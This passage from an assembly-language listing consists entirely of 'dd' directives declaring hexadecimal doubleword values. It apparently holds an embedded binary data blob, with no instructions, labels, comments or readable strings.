		dd 6798232Bh, 0ABA927C5h, 0B6546475h, 66212A92h, 0AAFADD78h
		dd 1DCC8578h, 2C600F6Bh, 62A52FE7h, 0D1C17F6Ch,	8B4FE8Eh
		dd 0FC135363h, 0B2646815h, 2DF8E631h, 0D70D86E1h, 0A4582B7Ch
		dd 0A155DB8Bh, 0AA8CD47Ah, 0F4ABB45Ah, 1D791799h, 0ABB5F8BEh
		dd 8163F994h, 0D74AB7EDh, 321FC96h, 56094420h, 44378500h
		dd 477D8DBCh, 504524C7h, 5E75F8FFh, 0CC0F26BFh,	0A5A66A83h
		dd 1EA8B2C0h, 6F42D640h, 82B552Ah, 0B012C5A0h, 0B255955Ah
		dd 2207D810h, 0FB41D881h, 0B75B368Ah, 2E91A095h, 0D30D0926h
		dd 72B050C4h, 2895C00h,	281A9581h, 0A2C5A10h, 0B8DCB6C4h
		dd 81BCAA0Bh, 0EB9D548Bh, 4051A1B5h, 5E122A17h,	5F12E423h
		dd 6215E623h, 5CDD022h,	4308E28Eh, 0E222226h, 9846035Bh
		dd 9C464103h, 0B0E02499h, 70E2C601h, 57015601h,	0C17120E6h
		dd 0CC264328h, 0B38CA846h, 46D6B11h, 111B0D18h,	88460266h
		dd 63114899h, 3117D426h, 997B58Ch, 899C8436h, 0C267C436h
		dd 7899046Dh, 0E026111Bh, 98F1B046h, 1DA96D11h,	0B9786C03h
		dd 99E833FFh, 2A079140h, 718C0413h, 0F4625182h,	712C1665h
		dd 0D2D8F93Dh, 46136D90h, 0F5B5D411h, 0FCA130BFh, 7E251270h
		dd 0E54913C5h, 1DD650DFh, 6A8B88EFh, 0FF1477E2h, 8EE9D9E9h
		dd 3E0FA7C2h, 53C53DD0h, 0A28FAE26h, 0B65F0D7Eh, 0DC126CCFh
		dd 3022BCC1h, 7DF9F18h,	0FF660047h, 66561D85h, 217E7C72h
		dd 0CC2AE5CBh, 0F8D69A8Bh, 0D48F3600h, 83EE43EAh, 0FACC5C23h
		dd 0BFDB834Ch, 76034E90h, 1E0F382h, 53D4391h, 5FD7F9A3h
		dd 0F416B088h, 42B6A3E9h, 0F1C7B5C4h, 419EC9C1h, 0E41D78Dh
		dd 267F781Fh, 3F99C9FAh, 62D8CD81h, 9E5F60B8h, 8840BA29h
		dd 3EB19069h, 22F5F9F1h, 32CB5684h, 659B4054h, 14CD661Ch
		dd 5DA3312Dh, 0F8DD2B0Fh, 0A38E1890h, 386918EDh, 11A330ADh
		dd 0EB8B0519h, 0DC0007Bh
		dd 241362D8h, 7F262DBAh, 0C818FDA2h, 0E2EC2745h, 1F09D272h
		dd 462C519Ch, 0CBE96638h, 7565484Bh, 3DD6E889h,	0E4CF58A3h
		dd 0F51FD8C9h, 7487E7C1h, 4C4708C0h, 2C6342F9h,	0C3904F9h
		dd 224BA7ACh, 303866FEh, 0C8F03C63h, 16363A0h, 0FEA4A894h
		dd 23264099h, 658C7E8Ah, 31A8C193h, 4104F04Ch, 0A4179545h
		dd 0AE176268h, 0EA93E997h, 0A8A43F33h, 13FD7EB3h, 717F0FE5h
		dd 0B18959Ah, 0C7F01F9Ah, 0BB48C4F0h, 0D950075Ch, 189AC316h
		dd 18D789EFh, 8429681Fh, 12A03CC3h, 2098911h, 0EE46BB11h
		dd 49FCA387h, 4ED10AF4h, 0E2CF5886h, 0DCD9F99Ah, 9A407A23h
		dd 44101CD9h, 88DBF32Bh, 62C4FFCDh, 5574C31Eh, 0B90C8133h
		dd 605E58C0h, 7215490Ch, 0CF449925h, 23AF500Dh,	176267BBh
		dd 3160B2DCh, 5E69F2E9h, 93F7C499h, 6019017Fh, 4D4A1331h
		dd 80E4ED31h, 12C30AF2h, 14E1A3Dh, 58F55EBDh, 713F8190h
		dd 0F8C440FFh, 6230AC06h, 0CD382574h, 9442C1B4h, 0B34AB29Dh
		dd 118EED2Fh, 0D1CA5651h, 0D0BFF3F0h, 0E3464CFEh, 40E2BB48h
		dd 22107311h, 311F40FDh, 299AD1DBh, 39667658h, 0FBB3059Ah
		dd 0B25A8ED4h, 18A7D931h, 65F61A3Bh, 0C2340333h, 3088A637h
		dd 8B197956h, 6E96346Eh, 6B347347h, 0B01FDA60h,	0C676A5h
		dd 9BFF60E2h, 688149B3h, 483C5998h, 370A7FC3h, 7F66D1DBh
		dd 256C69Bh, 82E9926Bh,	2A554C4Ah, 0B2C750AEh, 315F0020h
		dd 0F5C30206h, 1350E3D0h, 1184F16Ah, 0B3B22365h, 6532F597h
		dd 0C7D2CCh, 190960CCh,	0D27E28CBh, 195F63C2h, 29D7DA37h
		dd 68D23CE0h, 37C86384h, 3350E6CBh, 0EF3FD346h,	41F99FE0h
		dd 0FFB4CED1h, 0B37D6386h, 11A469DFh, 39A768Ch,	0B2CC9A3h
		dd 684BC543h, 62348DA4h, 4BAA0BB5h, 49434CC6h, 36314F33h
		dd 13AF6251h, 952FA68Ch, 0FA4913F9h, 803C523h, 9AE0A372h
		dd 13DAA7D8h, 0D03E7431h, 73463130h, 226911AEh,	962514A1h
		dd 0A0935212h, 0D1B0544Ah, 925B45CCh, 345CD182h, 20D5323Eh
		dd 868B8AA9h, 8E680688h, 0B1A3D24Bh, 0EB95A182h, 0B4545195h
		dd 30AC8CCAh, 0A418CD1Bh, 57A7698h, 1C68B0A4h, 6BDB2073h
		dd 0D380C02Ah, 9FACD028h, 0BA680B1Eh, 254C4EF9h, 0A66EC2A4h
		dd 88E44EE9h, 203C1337h, 0D5A32067h, 5C68D96Fh,	5ED76467h
		dd 9511C8BDh, 0F2C1A251h, 0CB789D63h, 21333CCEh, 0CDA2A30Dh
		dd 328F13E7h, 6D64C6B8h, 15483459h, 13F5685Dh, 0CA0C1039h
		dd 68BBCBA6h, 383069D9h, 81997h, 86B2325Ch, 0DA306384h
		dd 0D6D3DE44h, 0EBF00A7h, 4DD251D8h, 0F0B5699Fh, 0A57D47CEh
		dd 6FDB0B31h, 8A3336B6h, 55F0460Eh, 95B6344h, 5005086Dh
		dd 0D153312Ah, 0B62442C8h, 0B4255A12h, 8A644514h, 8996C48h
		dd 0C971B11Ah, 6264284Dh, 8AB45469h, 688D37F2h,	9E23B11Ah
		dd 0A8893046h, 32184E11h, 3280B421h, 1C909845h,	2A029411h
		dd 2E95245Dh, 24F94492h, 0A4262117h, 8D504FEh, 76FD49F7h
		dd 8D4844ECh, 235512A0h, 1AF74E8Ch, 4BF7108Eh, 254FE91h
		dd 2A67912Ah, 989F44EFh, 0E8A52133h, 8F734C23h,	0C099F34Ah
		dd 0A16411FAh, 5811B7A6h, 22594C98h, 0B347CB0h,	0DF2018B2h
		dd 762C54A6h, 0AD8F8ECAh, 0B1F5694Eh, 0C4ACAC4Bh, 0B638946h
		dd 2C35795h, 9E4E46D3h,	0DEB842F2h, 28D838F6h, 2F1FAE2Fh
		dd 0FD117B30h, 9E264656h, 2F93A424h, 0FBCA481Dh, 0A90EA2D1h
		dd 49315407h, 124CBB48h, 0D31A9523h, 0C3A6884Eh, 0A1940C6h
		dd 0CC4990B4h, 0BEF84317h, 14A84A82h, 0D2531A4Eh, 0A60A3278h
		dd 5FFA4D11h, 441353CCh, 4E13D237h, 3C470D26h, 4F120C25h
		dd 0A5392309h, 349B9C24h, 34845002h, 934948CEh,	33CD929Eh
		dd 24CD88D2h, 5C50218Dh, 4469233Dh, 1A98EE1Ah, 9A524FF1h
		dd 70699294h, 0C2FF1744h, 0D23630C8h, 89A122D6h, 0F2A05411h
		dd 19525435h, 0A7892298h, 33485384h, 0ACA8E681h, 0D68F9F4Ch
		dd 0FAD0A5FBh, 0C9A96911h, 233499B9h, 8BE54E4Dh, 0D923CB4Ch
		dd 514DA112h, 1FB6E9D4h, 44CECF59h, 311A099Bh, 0D11B4267h
		dd 0CC4CE085h, 0BFF89099h, 2721F47Ah, 99E878F2h, 0E4D53398h
		dd 297DC502h, 748A98D8h, 0D9A48FA7h, 0AA697B57h, 99DB4795h
		dd 9478A44Eh, 0B2259B2Dh, 0C690A691h, 0B9A48145h, 2347D9A4h
		dd 12666690h, 91B11130h, 943493A6h, 0C690A40Ch,	6C6998D2h
		dd 962058Eh, 88D21B23h,	4C62C1D2h, 0EA18551Ch, 5314893Ah
		dd 5754A349h, 328148D2h, 0D88A172Fh, 0A1D58905h, 0E159C794h
		dd 2C640084h, 0C9E12838h, 0CFA0DD84h, 0DC035EBCh, 4100C71Dh
		dd 1107EEB3h, 0BC8816F8h, 178AD016h, 0F2D48A2Eh, 8E340863h
		dd 922C0DDFh, 4312EB33h, 6763478Dh, 1DB7CAC3h, 0B1A74EE3h
		dd 7BDFE18Eh, 0D6593A70h, 0D360267h, 3F03FA3Bh,	0DDC99F76h
		dd 6BA4BFEDh, 1A84BD98h, 0FACF6852h, 75E8F8Bh, 0CA315263h
		dd 1B3846D3h, 27D1081Eh, 18B01FC2h, 0E31A80DDh,	8A979DF2h
		dd 0C8B776CFh, 326933F2h, 0EC23D2CFh, 2C8CBC47h, 1F8C84EAh
		dd 6591B6F2h, 0A04F709Eh, 0A183C2C3h, 7D98CBB5h, 48BBB964h
		dd 47ED3916h, 91A87959h, 26750266h, 85F26E8h, 99A11AFh
		dd 828611B4h, 133444C8h, 4CA4768h, 51328991h, 935FA234h
		dd 5132A09Bh, 4D1A9235h, 85712B03h, 8C23779Ah, 305AA824h
		dd 86A05511h, 0CC2486A2h, 481499A7h, 9026D442h,	220B323Ch
		dd 45114913h, 0A963270Bh, 59C16BBh, 89262037h, 0A4C08A99h
		dd 830CBCBBh, 7D4CC828h, 0C6FBD05Ch, 3B4C4451h,	0A8F39078h
		dd 8652601Ch, 0CD141282h, 0FB2C7D59h, 845F3210h, 447F42CBh
		dd 14B4D4D8h, 319EAC5h,	7BD54005h, 0D9E267EBh, 47B9F541h
		dd 0F963EEC3h, 4D2B30E0h, 0D7EB2D1Fh, 4C1A3754h, 0A1AC1794h
		dd 0FE625506h, 0CC22681h, 0B13B7F25h, 24FC5094h, 0A4BEECA6h
		dd 7316D2B2h, 2B09789Ah, 1215DB35h, 1FC19BEBh, 1B80C44Bh
		dd 6CEA3F2Fh, 0BED1D65Bh, 4459E229h, 692BFF5Ah,	99C4A53Ch
		dd 6134B309h, 8673CC82h, 13434738h, 0A50C816Eh,	29CED671h
		dd 6151AE33h, 5DC671F8h, 0C31E4866h, 0E7C1486Ch, 430DD814h
		dd 43657C1Eh, 7E9CB8C1h, 0A9891A57h, 0D2985251h, 4118917Ah
		dd 13FEFFE5h, 0D2BE9A26h, 8E23D2FCh, 0E9421246h, 32B04613h
		dd 4AB864B1h, 0B5019920h, 4812A63Eh, 0CCFB2249h, 59552EFFh
		dd 54FE4A16h, 8FD3A61Fh, 8DBE9429h, 394B18DBh, 3998345Ch
		dd 4C118B2Dh, 5F139422h, 1DE9A70Ch, 0A94C429Dh,	8294512h
		dd 8431B5A5h, 0A409909Eh, 350914B4h, 0FA73124Fh, 0D439AC4h
		dd 623B8645h, 0B29911EDh, 36EA29B3h, 0A64E2370h, 6A2E6DD8h
		dd 4A65939Eh, 0DC6A8C20h, 0B6294690h, 78B7F6D5h, 584A96C1h
		dd 21D83AF9h, 0D679B8F0h, 0BA34979Bh, 5C4AB645h, 5612AC25h
		dd 284C508Ah, 0B8D5AE25h, 0A42D3C8Ch, 646AE501h, 6738C9D1h
		dd 846A2264h, 1E829FD4h, 0D2162226h, 0AA88D254h, 0FA604711h
		dd 3250D504h, 4A58984Dh, 128E9918h, 4A788E4Eh, 4692518h
		dd 1DA6E75Bh, 56902596h, 86EB6491h, 4B2A3480h, 0AF346D1Ah
		dd 0FEB96D9Ah, 2819539h, 0F7A73045h, 1C27A423h,	0A73F4807h
		dd 0EB1542BCh, 3094F1A3h, 0A766894Ah, 5093714Bh, 0F3D3E75Ch
		dd 974E7C99h, 16E14CE2h, 8F67A601h, 325A7E31h, 0F97DECA1h
		dd 77293129h, 0F47BA8B0h, 47ED74F1h, 0B1E08742h, 0BEA64266h
		dd 452E2DE7h, 266B7BE6h, 45394D4h, 9AC4133Eh, 5B44B509h
		dd 6FA1C05Eh, 0C26E9A50h
		dd 3D281469h, 0D1B4F0Eh, 0F501E34Ah, 8989F627h,	28B81A78h
		dd 8D28C8BDh, 3E9CF496h, 133E3521h, 9473264Fh, 0E334045Eh
		dd 4A3B68C4h, 4A47A1CFh, 0F26B2E8Bh, 5A301A50h,	0D35D8345h
		dd 2452B762h, 9CDE6A31h, 14214099h, 4A9E2246h, 0EFC51651h
		dd 0B19D946Fh, 1F3C6EC7h, 84C2B7A5h, 1E4FA998h,	0A62B6A12h
		dd 135BA2C8h, 0AC26388Fh, 0A970B17Ch, 493E714Dh, 0D8AECA11h
		dd 4AE4ABADh, 245D584h,	75088FBFh, 819438B8h, 3C5447C7h
		dd 219C5423h, 4C02865Bh, 0CFC26919h, 4C266134h,	22F42980h
		dd 0F08A99F8h, 0F90AC6E7h, 99222A93h, 1328691Eh, 8228FB50h
		dd 8A6A899Fh, 4A2FB7F0h, 8A6D937Eh, 27A1937Fh, 914C9EFCh
		dd 3EF52225h, 3F287C75h, 38B1A969h, 0C5924A7Dh,	0C267A69Ah
		dd 85F17D4Bh, 174F1F12h, 7C3512DBh, 0FAF8CC0Fh,	0F94A9649h
		dd 8F058A71h, 143B110Fh, 84766E2Ah, 11A46255h, 261A5610h
		dd 405386C4h, 98C44C84h, 0D40BB109h, 55A8C843h,	0D241D0C4h
		dd 0F6A43694h, 13217A45h, 31352653h, 451708E4h,	0E53669D4h
		dd 13D0C9D4h, 0F68AD0D0h, 0A9F7B40Ah, 8099646Ch, 0A85AAD33h
		dd 1F26C44Fh, 8B230453h, 45B47B8h, 52D84F98h, 4A193D1h
		dd 4697C509h, 701479D6h, 0AB236C02h, 0A3AF48F2h, 8F074E72h
		dd 18BD08EFh, 9EDB2E2Ah, 59208956h, 57C421ACh, 0A5E1EBC2h
		dd 5207A408h, 89222BE2h, 0D5A6A817h, 0E23BAD43h, 0A2E922Dh
		dd 0CAA2990Bh, 1C24D504h, 0F2A66481h, 0F2FA8FB4h, 3C628EA4h
		dd 82708EDAh, 9EAD3E16h, 0A66C514Ch, 89F53EFBh,	8A641336h
		dd 0F6D113CCh, 0EC426D88h, 8BA9A467h, 48CD2DCCh, 0A2F98EE3h
		dd 0F094596h, 0A467884Eh, 3FDB2F6Dh, 0BCA8B996h, 895CC05Ah
		dd 21B470B9h, 0EE022C1Bh, 3260509Ah, 13386711h,	4C78A70h
		dd 68718993h, 0EEC4A93Ah, 0D24B1547h, 73257A93h, 0DAB01447h
		dd 1326B945h, 0D6448E57h, 267A0ACEh, 69F1DD04h,	39D093D7h
		dd 6F5AC455h, 33A85455h, 947B6741h, 93FAD447h, 45957229h
		dd 0C26723DDh, 0A62587CBh, 947D3B38h, 0C2ED3504h, 0BE337ACAh
		dd 9A7C7844h, 0DF474856h, 0DD95539Dh, 312BE783h, 2E611177h
		dd 0E36C98ABh, 8994C8D3h, 60991336h, 0A03D0453h, 4445B44Ch
		dd 7F4D46BDh, 4775A91h,	545D24F9h, 964432B3h, 385DAC09h
		dd 0A162CA02h, 0FE291FF3h, 2CB3457Ch, 0E4A68F3Fh, 1FAD7D41h
		dd 2C4B9C47h, 25624C82h, 76C1E4B9h, 2E96CB61h, 0E3F5A7E6h
		dd 7BA3C1DCh, 9974D944h, 0E5433C7Ah, 0E5457838h, 0B0277765h
		dd 0A8999574h, 3A09A93Bh, 51B45447h, 61AA9504h,	6D54C71Ah
		dd 95DC0F52h, 3ED4457Ah, 0F9244D25h, 9967732h, 82395DADh
		dd 5A87C4CAh, 0D287544Dh, 0ED568845h, 0F254AE45h, 35DEED3Eh
		dd 6A6611D3h, 2DAA4FBDh, 4B7A6FCDh, 0F07509A3h,	85A96D16h
		dd 112F2E09h, 0FCC6485Dh, 596F1D84h, 88A7E803h,	0C24A07AEh
		dd 74794CF3h, 0E628B8A8h, 0F70EC846h, 65ED55F2h, 0D320E187h
		dd 32C0942Ah, 0F5919869h, 6CA9F53Eh, 4ED1156Ah,	0F8113496h
		dd 265DDCCCh, 8E576B8h,	6A2F132Ch, 0CA29911Fh, 19A44917h
		dd 754DD52Eh, 0EA7FF459h, 0B1EA6C05h, 439C47A8h, 0A9F9878Bh
		dd 632009C7h, 33A74396h, 2EF4693Bh, 53A7D28Ch, 53FEA03Dh
		dd 0F1F81E20h, 15DBAA01h, 0C5DF7E0Ah, 0C96A7C83h, 19886E9h
		dd 23503110h, 0ADC1E57Eh, 60FC8202h, 0FEAF3238h, 0C02261E2h
		dd 891202C1h, 540803C2h, 5094AEA0h, 11A480F2h, 9013C2B7h
		dd 65E0365Ah, 1440714h,	651A749Ah, 0E278E146h, 2309E800h
		dd 88818501h, 1451942h,	0C464248Ch, 69C33303h, 0BAAEF11Fh
		dd 7FAB3170h, 2D2E0FC3h, 1D5D636Eh, 19741EE8h, 0AA7C93FAh
		dd 0E84DA81Eh, 0AFE6CAE2h, 0EDE32F14h, 941C0FD4h, 1F398FFCh
		dd 41AF338h, 92801FF8h,	583CE01Ah, 0A7ACE918h, 5CF27A79h
		dd 24F7420h, 0FA78A312h, 95860831h, 5307A52Dh, 0EF507E85h
		dd 0E07F2044h, 78384BAEh, 1D4E6185h, 0B4233F04h, 0BB162635h
		dd 8EB0A8ADh, 565C6F0h,	23BA0741h, 0CF7A02Fh, 90BD74EAh
		dd 15FF856Ah, 371E87A2h, 0C1FEF2EFh, 905DC06Dh,	0DA4C6DF8h
		dd 8B9C2A95h, 5DAC0697h, 80A3538Eh, 0AA844801h,	0DFE0989Ch
		dd 4669E97Bh, 2177F890h, 0F50ECF5Ch, 0B72FBA83h, 2BE5B9C9h
		dd 20118775h, 0D01840F9h, 845F8D10h, 0AE3C66F8h, 0E8D0A61Bh
		dd 4F44183Ch, 0B25C4447h, 296CA9B1h, 387ED899h,	5497BB10h
		dd 0E56093ACh, 0B14F48CFh, 76E2B90Ch, 0D702008Bh, 5A9E95E9h
		dd 0A32642BFh, 42EC2726h, 7C5F9B34h, 87D14331h,	0ED8B31FEh
		dd 0FA2F87D3h, 1D66E77Dh, 9C4EAD18h, 515833A6h,	8019B3Ah
		dd 413FA310h, 22090EF2h, 0F1984436h, 0D40B0EC1h, 0BF5EA13Fh
		dd 0F66E974Ah, 4943AEBEh, 0C438A3AFh, 462AD60Ch, 4A8BECA0h
		dd 0CF5DD576h, 0FD39FABBh, 1116F850h, 99493013h, 0EF1028EAh
		dd 9F0DDF46h, 7363B941h, 9412839Bh, 3089A4A1h, 0AA074A9Ch
		dd 66BCDF7Bh, 2AD56957h, 990D81D4h, 92822764h, 50527DDDh
		dd 56A257EFh, 0E3D12305h, 0D423C12Bh, 33D31F83h, 5E8CBE76h
		dd 0D84426A4h, 0E34DEEADh, 9658E5A1h, 5BA6BB08h, 28D5FA3Ah
		dd 8571A53Bh, 7179A445h, 51AE985Ch, 418996D2h, 9018E991h
		dd 589CC8BDh, 0A3B30955h, 0CF642308h, 9571852Ah, 0DB4561D9h
		dd 0D7FA5FA2h, 5F6CF0Ch, 8295996Ch, 2D5F60FCh, 3C97BA4h
		dd 0BD70AC1Ah, 21F892E2h, 0F8AE6287h, 2CC50F0Fh, 18DADE8Bh
		dd 77D0D765h, 1DC9C62h,	0E603BB9Eh, 0E35149E8h,	7D719302h
		dd 2EAB6664h, 0F03D1B36h, 0D9C92CC1h, 0FA091808h, 0B8E15F87h
		dd 1C1B010h, 0BBDE5431h, 5D7966C4h, 2C9411FCh, 0C9CE9460h
		dd 8BFC2AECh, 0B0C6DA09h, 0EC70636Eh, 255C82ABh, 0AFAA199h
		dd 15093D23h, 0C2365773h, 0A506A55h, 22EE7DBEh,	407CFD07h
		dd 0C834578Dh, 0AA890C9h, 0EB4F5D67h, 0E07D3D5Fh, 492B098Ah
		dd 92C92B37h, 0A703B98Ch, 7B25F7Eh, 41D3FF09h, 0F637302Eh
		dd 0B4250817h, 7EC2E2B5h, 16C19EB8h, 664E0256h,	0D515C256h
		dd 9058F319h, 0AD137D85h, 0F55E2A05h, 0ED38F230h, 0D83B8880h
		dd 0C873EFDAh, 7A209044h, 25541148h, 29CA06B3h,	4ED374AAh
		dd 32FFB3B6h, 0EA8CAE5Ah, 25C34B92h, 0FAC54414h, 0B58A5EBCh
		dd 0F91B80C1h, 0F78DE1FAh, 2AAC31F8h, 72C3D0D5h, 46BA0481h
		dd 50C92D2Ch, 0ADD2CA95h, 692048A3h, 60748AACh,	18C67F1Dh
		dd 6E186133h, 92301573h, 476F0D80h, 9F1815D1h, 5FE34798h
		dd 0D17CD3D6h, 8B04518h, 73B761B5h, 1BAC3C31h, 1A4F811Bh
		dd 0C8A3925Bh, 0EE29B03Eh, 164AFA2Bh, 175F584Dh, 4338E73Dh
		dd 100B5B67h, 8B8C9BAEh, 8C2C092h, 0B314530h, 70F3B864h
		dd 1EB10BEBh, 40C01430h, 602870C0h, 0CCE0A553h,	0A8010487h
		dd 1BD8C81Eh, 15057D58h, 0D824DB28h, 1731DC49h,	0FAA1318Ch
		dd 0DAD7B608h, 0D819BB80h, 45F5D684h, 0AEE01814h, 25D3A27Eh
		dd 78AF2A6Ch, 0FDF0A40h, 648CA957h, 57D66188h, 177ECC40h
		dd 0ABE2FED7h, 5D594DCh, 8DD22293h, 80AB1791h, 0C4B4D1A0h
		dd 997CF8C2h, 6034DBC0h, 0D8A86689h, 20BEE2F9h,	95148CEAh
		dd 5049E3FEh, 27D72A09h, 58435009h, 835488Dh, 0AC39BA09h
		dd 0AFD6397Fh, 0C0209304h, 0DD5998CFh, 8D65A980h, 0D6211B17h
		dd 0A9548D17h, 99E747D6h, 8822581Fh, 6CBE6663h,	8BEEA8E9h
		dd 0F492B10Ah, 0CA385F07h, 0C0A467F0h, 3C9C73F6h, 309C651Eh
		dd 9359491Eh, 0C6ED6539h
		dd 96B79E5Ch, 0F6BE4509h, 0B564011Bh, 6C22B71Eh, 0BEB09310h
		dd 0A32FA28Ch, 56822C8Ah, 10278C0Ah, 0EFDE302Ah, 0BB2E0BAAh
		dd 8C621B01h, 50627F31h, 0EFE93390h, 0FA89AB83h, 330183F3h
		dd 1A480881h, 4617F4CFh, 0A2BD2198h, 1019DCE1h,	77C334F0h
		dd 60B4877Ah, 0A710BA19h, 5CAB6151h, 8D402664h,	0A86B151h
		dd 0F49BE1F6h, 6FDA03BBh, 93C67F53h, 0D2A92C24h, 0A9BE9689h
		dd 9024C2B9h, 0BBF3B367h, 5F96D2ACh, 0E30B333h,	5542A235h
		dd 0FA95A391h, 3215F597h, 3FD5210Ch, 5C23644Bh,	3E1A80D0h
		dd 3838BEFh, 278B02D3h,	8C700338h, 0BAA8E827h, 0F4AEE139h
		dd 9195DBB3h, 2E8F2A94h, 432028AEh, 0EA25312Ah,	2FE189A2h
		dd 7488319Ch, 3FB27DE5h, 89F46FCBh, 95EA6E80h, 2B8B49A5h
		dd 863FBA2Fh, 0E5A0297Dh, 7B441566h, 650ED457h,	83151407h
		dd 63CC3E55h, 0CD5418D3h, 5667FEBCh, 4D1BCFEDh,	16F4F118h
		dd 0E1EDC7ABh, 98C8E553h, 3E0CAB11h, 7692D35Ah,	0A248DED5h
		dd 34CA96FEh, 0AEEA1341h, 0B2C94158h, 579FD6Ah,	65E63F04h
		dd 0B16C8216h, 0FA2564A3h, 0DD5F7B32h, 8DA9C325h, 98F777B7h
		dd 60A20AE6h, 9C1B038Ch, 54C7A882h, 0DF6136AFh,	20392159h
		dd 0F4AC2074h, 8A86E27Ch, 3D0D741Bh, 0EC139044h, 0F0941C9Eh
		dd 5577BB04h, 54EF6E0Ah, 8217903Eh, 96A98372h, 0F522E43Eh
		dd 0F5085163h, 4635B595h, 0E07AB1FAh, 0AA45768Dh, 2FA88905h
		dd 319C53D5h, 7FF4D264h, 8864D726h, 4632AF8h, 0C05F62D5h
		dd 9771043Fh, 7435BB2h,	5834FD2Dh, 435A7435h, 0F02E68A3h
		dd 31A155C2h, 0C84F4374h, 0F02AC187h, 66D59A4Ah, 0B474F973h
		dd 7A20408Ch, 5C7E182Bh, 7F778B9Ch, 86F687B9h, 0A4A265D6h
		dd 0C1FE0084h, 390DF905h, 1F9D6157h, 308E42A2h,	0E10D84FAh
		dd 0C1807AE3h, 8C3FE44Dh, 0E67A2504h, 85F86144h, 0B48A62D8h
		dd 0ACBBBB5Fh, 0FDFD531h, 0BC46D019h, 831F5122h, 845B32AFh
		dd 62824AD7h, 43DA8F46h, 0ACF9DCDh, 5FCCF9C3h, 3436C319h
		dd 9210F4E0h, 968B2BA4h, 0FFEEA5BCh, 9F6DA07Ah,	0F045B1C9h
		dd 56B69ED3h, 73E5756Ah, 0D178FCFDh, 0B62788B2h, 0F07D06DAh
		dd 6AE56985h, 13BADA5Eh, 0F903A15Dh, 66042262h,	7B8F5253h
		dd 0E60047F6h, 61EEC404h, 10EF156Ah, 0D1BEBC9h,	0FA368220h
		dd 83E3A7F1h, 75D4A1FDh, 0CEAC14Dh, 12A9188h, 24620497h
		dd 1420A14h, 6E2FE481h,	8BEBFF68h, 2C578E15h, 0FE3A652Dh
		dd 16A44AECh, 5D19B770h, 985FB4C0h, 0E24CE732h,	0D40920A2h
		dd 5F3D312Eh, 5938D8DAh, 111068Eh, 0FE18AD6Ch, 871538AEh
		dd 417AD000h, 2447069Dh, 117D1696h, 0E5FDD6B1h,	0AC95EA4Dh
		dd 0A1C8A862h, 5D30B39Fh, 7B2A9Ah, 5855DDE3h, 8C93F6AAh
		dd 673D5F5h, 73130BFFh,	0FEC86BADh, 0BA9FBFDAh,	4C2EA1Ah
		dd 0C09575AEh, 0D9089F36h, 1188775Fh, 0C5FDCC6Bh, 72E92C10h
		dd 0DF7C1255h, 0FCDD13C6h, 2D7E0517h, 0D78CCA36h, 0A9CC4413h
		dd 1C6E6137h, 0AA469A10h, 0CA515452h, 135BAABFh, 0D52A67D9h
		dd 5C28F0B1h, 9ADBA9EDh, 3E02C2A9h, 51F589C4h, 0A9F8A077h
		dd 14DFEDDCh, 31A47DB7h, 8FF2286Ch, 0D218399Fh,	4EA15D5Fh
		dd 0F401BFCDh, 9DEA89DEh, 33140711h, 0A7F7E94h,	10148634h
		dd 140314ADh, 6BC294ADh, 9C7566C5h, 1698D052h, 4600B60h
		dd 4E151C2Dh, 5CEC6BEBh, 80BAEDEh, 0A4A710EBh, 5969D185h
		dd 4CEB9840h, 30358F40h, 0B1752982h, 0D1080855h, 0DAB13372h
		dd 2CB36A72h, 65D2628Dh, 0FB0EBF23h, 13799733h,	34A0431h
		dd 2CBE35EAh, 0A316FACEh, 0F8D6B384h, 52F02F40h, 8A958883h
		dd 194FF330h, 1BAE9C0Fh, 5311B213h, 331ADD99h, 64805DEAh
		dd 87257575h, 86B4AB90h, 67813358h, 0A193D301h,	2CB00F09h
		dd 44512ECAh, 97839D9Dh, 0EA656F36h, 70750564h,	4060BAh
		dd 437A2FE8h, 0AFE255BCh, 4E32682Bh, 5A0F25FDh,	0B95A8F42h
		dd 56413A9Bh, 0BB9E903Fh, 0D4350B91h, 0EB56A390h, 7A8C8A44h
		dd 694D4FD3h, 0C7A895CCh, 0E0DD382Eh, 4C5E0285h, 44ACCD11h
		dd 0E505F5A1h, 0A290886Fh, 14DE5B87h, 83CC35FDh, 38DB6E38h
		dd 0C1F997EBh, 81C877DDh, 5FD8B543h, 157B60B4h,	0F433055Dh
		dd 0B4DDAA17h, 3174D192h, 0AB3CEE0Fh, 4AEDA62Ch, 0A2F188C2h
		dd 0D9BBCA57h, 1AE48BDBh, 1969A332h, 0B4B1C056h, 86924158h
		dd 8C2FA1E1h, 11C61070h, 8820BC4Eh, 0E498351Ch,	587B2617h
		dd 7F28D6B6h, 0DAB15413h, 0EB656AC2h, 85EAA48Bh, 0B02062ABh
		dd 74F430D3h, 0C7B8EF37h, 0E19D518Ch, 0D4ACF047h, 9D061890h
		dd 2E8DABE4h, 65400FF5h, 0AB46A597h, 8F05B662h,	0E3162E12h
		dd 1C8E02DDh, 6CEAA4B1h, 9AC4315Bh, 8A68ECBDh, 88C677AEh
		dd 120446FEh, 55C6EAA6h, 14F0929Ch, 0CF57A2E2h,	46A98C4Fh
		dd 0CCFEBB6Bh, 555AD98Ch, 3196C2E9h, 2039AA4Eh,	0B345D9E2h
		dd 3435542Eh, 581FCAE6h, 5818607Eh, 9C653A86h, 59AD7BF0h
		dd 1BC1E6Ah, 0D0A61485h, 568EB6FCh, 6D0F267Eh, 3CAAF140h
		dd 81523CBh, 0AA2202D3h, 2FEC411Eh, 16303170h, 320AFDE0h
		dd 556777A5h, 40C45016h, 214169E0h, 45AA808Eh, 759C2946h
		dd 0ED01C279h, 22310D8Fh, 50AC84AEh, 0FB23EECCh, 3D8706CBh
		dd 0A618CE32h, 67D6DB15h, 56BBDABh, 13A80F8Dh, 0D2272B21h
		dd 0A8C472FBh, 83525391h, 725A939Bh, 35FF56C4h,	8C2C2C0Ch
		dd 64457AE5h, 0C26D0171h, 9427A57h, 71B0A3BFh, 70F96D48h
		dd 196D9056h, 0E52E40A9h, 0C3196534h, 2478B089h, 48294D74h
		dd 0F2E9AE01h, 121B146Dh, 42F607B4h, 163DD62Ch,	7058C65Fh
		dd 1CC3143Dh, 0F8285A95h, 1D4F7BCCh, 1D109FE5h,	0F4BCCD17h
		dd 6A0CC9FBh, 6541A6D3h, 9786CC4Ch, 624C86C1h, 0F6EB51B5h
		dd 69DF9530h, 0D1D8ACB4h, 74DFDEF9h, 80DA4071h,	0F36EC2FEh
		dd 6A2CAE3h, 0CE3D228Eh, 4EFC9626h, 0AEFB8D03h,	0FA97FED4h
		dd 3953D86Fh, 4270E0BAh, 39DF0810h, 0ABD40331h,	36CDA03Eh
